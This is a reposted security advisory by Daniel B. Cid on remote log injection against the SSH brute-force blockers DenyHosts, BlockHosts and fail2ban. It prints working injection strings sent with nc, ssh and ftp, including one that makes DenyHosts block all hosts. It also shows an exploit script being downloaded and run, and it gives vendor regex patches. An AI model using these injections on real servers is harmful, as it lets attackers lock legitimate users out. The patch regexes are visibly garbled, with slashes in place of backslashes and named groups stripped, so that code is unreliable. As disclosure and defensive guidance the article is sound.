Attacking Log Analysis Tools

原始出处： http://www.ossec.net/en
文章作者：Daniel B. Cid
1 - Introduction Log Analysis (i.e. LIDS - Log-Based Intrusion Detection) can be a very powerful tool to complement NIDS/HIDS and improve network security. I pointed out some of its benefits in the following articles: Log analysis for intrusion detection and Log analysis using OSSEC.

However, like any other technology, when not done properly, it can add new security vulnerabilities and end up causing more harm than good.

The purpose of this article is to point out some vulnerabilities that I found on open source log analysis tools aimed to stop brute force scans against SSH and ftp services. Since these tools also perform active response (automatically blocking the offending IP address), they would be good examples. However, any tool that parse logs can be equally vulnerable.

We will show three 0-day denial-of-service attacks caused by remote log injection on BlockHosts, DenyHosts and fail2ban.

*This paper talks about remote log injection, where an external attacker can modify a log, based on the input it provides to an application (in our case OpenSSH and vsftpd). By modifying the way the application logs, we are able to attack these log analysis tools. We are not talking about local log modification or "syslog injection".

**I am the author of OSSEC, an HIDS, that does, among other things, log analysis and active response. It is not vulnerable to these injections but for reasons of full disclosure, you may want to know it.

2 - Remote log injection We all know that we should never trust user input, specially when talking about web development, but we seemed to have forgotten about it when dealing with logs.

The rule should always be: ANY user input that goes into a log SHOULD NOT be trusted! Why do I say that? Let's look at some ssh logs to start.

When you miss a password, SSH logs the following (the second and third lines happen when you provide an invalid user name):

Jun 2 14:49:00 crazymom sshd[5862]: Failed password for root from 192.168.50.65 port 34780 ssh2
Jun 2 14:49:42 crazymom sshd[5866]: Invalid user invuser from 192.168.50.65
Jun 2 14:49:46 crazymom sshd[5866]: Failed password for invalid user invuser from 192.168.50.65 port 34786 ssh2

Note that the SSH logs have the user name and IP address related to the connection. BUT, the user name is provided by the USER! What if we provide the following username:

[dcid@enigma log]$ ssh "myfakeuser from 10.1.1.1 port 123 ssh2 "@192.168.5.1

What would the logs look like?

Jun 2 14:54:00 crazymom sshd[5870]: Invalid user myfakeuser from 10.1.1.1 port 123 ssh2 from 192.168.50.65
Jun 2 14:54:03 crazymom sshd[5870]: Failed password for invalid user myfakeuser from 10.1.1.1 port 123 ssh2 from 192.168.50.65 port 34813 ssh2


What about an FTP log? (we use vsftpd as an example, but it applies to every application) Take a look at the logs when we try to modify the user name:

root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): myuser
..

root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): lala] FAIL LOGIN: Client "2.3.4.54"
..

(looking at the logs)
Mon Jun 2 21:05:30 2007 [pid 1448] [ myuser] FAIL LOGIN: Client "192.168.3.1"
Mon Jun 2 21:06:02 2007 [pid 1452] [ lala] FAIL LOGIN: Client "2.3.4.54" ] FAIL LOGIN: Client "192.168.3.1"


We all know SQL injection, and the idea here is not different. We are just passing the user name in a way that would trick a log analysis tool, making it think that the source ip of the connection is not what it really is.

Other very interesting thing that we will use later in here, is regarding how SSH logs invalid protocols:

root@slacker:~# nc 192.168.3.4 22
SSH-1.99-OpenSSH_4.2
hi me
Protocol mismatch.

(looking at the logs):

Jun 2 21:27:37 slacker sshd[1457]: Bad protocol version identification ' hi me' from 192.168.3.1
Can you see the provided user string on that log? The question remaining is: How well your log analysis tool handle these injections?

3 - DenyHosts Remote DoS DenyHosts is a very popular "sshd monitoring" tool, with more than 6,000 users according to their web site. It monitors your ssh logs and dynamically blocks the source ip of a connection that produces too many authentication failures.

DenyHosts had some vulnerabilities in the past, when it was open to a very simple log injection technique (see above).

However, its latest version (2.6) is still vulnerable to log injection on a different case that can result on full sshd lockdown. So let's explore it.

If you try to netcat to a ssh server (as shown in the introduction ):

dcid@enigma:~/Desktop$ nc 10.1.1.18 22
SSH-1.99-OpenSSH_3.9p1
hi
Protocol mismatch.


How will the server log it?

Apr 25 13:17:50 crazymom sshd[4150]: Bad protocol version identification 'hi' from 10.1.1.4

Yes, every time you provide an invalid protocol to SSHD, it will log the user argument in the log. What if we try:

dcid@enigma:~/Desktop$ nc 10.1.1.18 22
SSH-1.99-OpenSSH_3.9p1
User root from 10.2.3.5 not allowed because none of user's groups are listed in AllowGroups
Protocol mismatch.


How will the server log it?

Apr 25 13:19:32 crazymom sshd[4153]: Bad protocol version identification ' User root from 10.2.3.5 not allowed because none of user's groups are listed in AllowGroups' from 10.1.1.4


Can you see our provided string (User root...) in the log? What if you have DenyHosts running and monitoring your ssh logs? What do you think it will do with it? (if I repeat it 5 times -- by default)

[root@crazymom DenyHosts]# tail -f /var/log/denyhosts
2007-04-25 13:20:59,068 - denyhosts : INFO new denied hosts: [' 10.2.3.5']

Yes, it added the supplied fake IP address to /etc/hosts.deny. So, the vulnerability is that DenyHosts is open to log injection, allowing any external user to insert whatever they want into hosts.deny.

Why DenyHosts (2.6) does that? If we look at the source code, it has a loose regex for one specific sshd error message (inside DenyHosts/regex.py):

FAILED_ENTRY_REGEX5 = re.compile(r"""User (?P.*) .*from (?P.*) not allowed because none of user's groups are listed in AllowGroups""")

It is basically looking for "User from .." anywhere in the log, not checking if it is in the middle of the "bad protocol version" log. How do we fix that? Just make the regex more robust (an "$" at the end would solve it)!

You may think it is not a big deal but what if instead of one IP address I pass all? -- all on hosts.deny means block every IP. Would it block the whole internet out of the box? Yes, it would!

dcid@enigma:~$ nc 192.168.5.1 22
SSH-1.99-OpenSSH_3.9p1
User root from all not allowed because none of user's groups are listed in AllowGroups
Protocol mismatch.

(the logs):
Apr 25 13:19:32 crazymom sshd[4153]: Bad protocol version identification ' User root from all not allowed because none of user's groups are listed in AllowGroups' from 10.1.1.14

root@crazymom DenyHosts]# tail -f /var/log/denyhosts

2007-04-25 13:35:28,954 - denyhosts : INFO new denied hosts: ['all']

[root@crazymom DenyHosts]# cat /etc/hosts.deny
#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
#
sshd: all

You just blocked EVERYONE else out of this box. I have a simple "exploit" code that proves my point. Just execute it and pass the IP address of the box to test: denyhosts-exp.sh.

dcid@enigma:~$ wget http://www.ossec.net/denyhosts-exp.sh
dcid@enigma:~$ chmod +x denyhosts-exp.sh
dcid@enigma:~$ ./denyhosts-exp.sh
./denyhosts-exp.sh:
dcid@enigma:~$ ./denyhosts-exp.sh 10.1.1.8
1
SSH-1.99-OpenSSH_3.9p1
Protocol mismatch.
..
SSH-1.99-OpenSSH_3.9p1
Protocol mismatch.
20

dcid@enigma:~$ ssh 10.1.1.8
ssh_exchange_identification: Connection closed by remote host

at the server side:

root@mb DenyHosts]# cat /etc/hosts.deny
#
# hosts.deny This file describes the names of the hosts which are
# *not* allowed to use the local INET services, as decided
# by the '/usr/sbin/tcpd' server.
sshd: all


4 - Other vulnerable programs We used DenyHosts on our previous example, because it is one of the most famous tools out there, but it is not the only one vulnerable.

BlockHosts latest version (2.0.3) is also vulnerable to log injection via the vsftp and SSH logs. The reason is the same as DenyHosts: loose regular expressions.

root@slacker:~# ftp 192.168.3.4
220 Welcome to labs ossec candy FTP service.
Name (192.168.2.3:root): lala] FAIL LOGIN: Client "2.3.4.54"
..

(looking at the logs)
Mon Jun 2 21:06:02 2007 [pid 1452] [ lala] FAIL LOGIN: Client "2.3.4.54" ] FAIL LOGIN: Client "192.168.3.1"


If we pass a modified user name in order to inject an IP address, it will block the fake supplied IP address instead of the valid one.

root@slacker:~# cat /etc/hosts.deny
#---- BlockHosts Additions
ALL: 2.3.4.54 : deny
..
#---- BlockHosts Additions

With the SSH logs, the issue is the same as with DenyHosts. If we inject any data in the protocol identification field, BlockHosts will parse our fake ip addresses instead of the valid one (the exploit for DenyHosts will work with BlockHosts with just a slight change -- as a reader exercise).

dcid@enigma:~$ nc 192.168.5.1 22
SSH-1.99-OpenSSH_3.9p1
sshd[123]: User myself from 1.5.6.7 not allowed
Protocol mismatch.

(the logs):
Jun 4 14:49:46 slacker sshd[4153]: Bad protocol version identification ' sshd[123]: User myself from 1.5.6.7 not allowed ' from 10.1.1.14

root@slacker:~# cat /etc/hosts.deny
#---- BlockHosts Additions
ALL: 1.5.6.7 : deny
..
#---- BlockHosts Additions
*BlockHosts author, Avinash Chopde, has released a patch for it.


Fail2ban latest version 0.8 is vulnerable to the same injection via SSH logs that DenyHosts and BlockHosts are. It looks for "ROOT LOGIN REFUSED" anywhere in the logs and as previously shown, we can easily inject that using the bad protocol identification message from ssh.

dcid@enigma:~$ nc 192.168.5.1 22
SSH-1.99-OpenSSH_3.9p1
ROOT LOGIN REFUSED hi FROM 1.5.6.7
Protocol mismatch.

(the logs):
Jun 4 14:49:46 slacker sshd[4153]: Bad protocol version identification ' ROOT LOGIN REFUSED hi FROM 1.5.6.7 ' from 10.1.1.14


*Fail2ban author, Cyril Jaquier, has released a patch for it.

**This issue is similar to CVE-2006-6302, but using a different vector. Thanks to Cyril Jaquier for pointing it out to me.

5 - Patches Fail2ban author, Cyril Jaquier, replied and the following patch fixes the problem:

--- sshd.conf.orig 2007-06-05 22:00:24.000000000 +0200
+++ sshd.conf 2007-06-05 22:00:41.000000000 +0200
@@ -14,10 +14,10 @@
# (?:::f{4,6}:)?(?P/S+)
# Values: TEXT
#
-failregex = Authentication failure for .* from
- Failed [-//w]+ for .* from
- ROOT LOGIN REFUSED .* FROM
- [iI](?:llegal|nvalid) user .* from
+failregex = Authentication failure for .* from $
+ Failed [-//w]+ for .* from $
+ ROOT LOGIN REFUSED .* FROM $
+ [iI](?:llegal|nvalid) user .* from $

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.


BlockHosts author, Avinash Chopde, replied that by changing the SSHD/VSFTP regexes to the following, fixes the problem:

"SSHD-NotAllowed": r"""^.*(?!sshd)sshd/[(?P
/d+)/]: User .* from (::ffff:)?(?P/d{1,3}/./d{1,3}/./d{1,3}/./d{1,3}) not allowed because none of user's groups are listed in AllowGroups$""",

"VSFTPD-Fail": r"""/[pid /d+/] /[.*?/] FAIL LOGIN: Client "(?P/d{1,3}/./d{1,3}/./d{1,3}/./d{1,3})"$""",


We spoke with DenyHosts author, Phil Schwartz, but no official patch is available yet. However, by changing the FAILED_ENTRY_REGEX5 (at regex.py) to the following, fixes the problem:

FAILED_ENTRY_REGEX5 = re.compile(r"""User (?P.*) .*from (?P.*) not allowed because none of user's groups are listed in AllowGroups$""")

6 - Conclusion The goal of this document is to show some of the most common problems with log injections that we need to be aware when developing programs that parse log messages.

Please be aware that a few other tools also "block ssh scans", but some of them are so vulnerable that I didn't even bother mentioning. My advice is don't use tools that are shell-script based or have not been updated in a while. Not only they are vulnerable to remote DoS, but also to command execution via hosts.deny (yes, you can configure it to execute programs) and other means.

To conclude, if you ever write a custom script to parse your logs, be aware of those issues.

*I want to thank Cyril Jaquier from Fail2ban, Avinash Chopde from BlockHosts and Phil Schwartz from DenyHosts for the prompt reply and willingness to fix those issues. I also want to thank Liliane Cid for helping me writing and reviewing this document.

**If you have any comments or questions, please send them to dcid ( at ) ossec.net.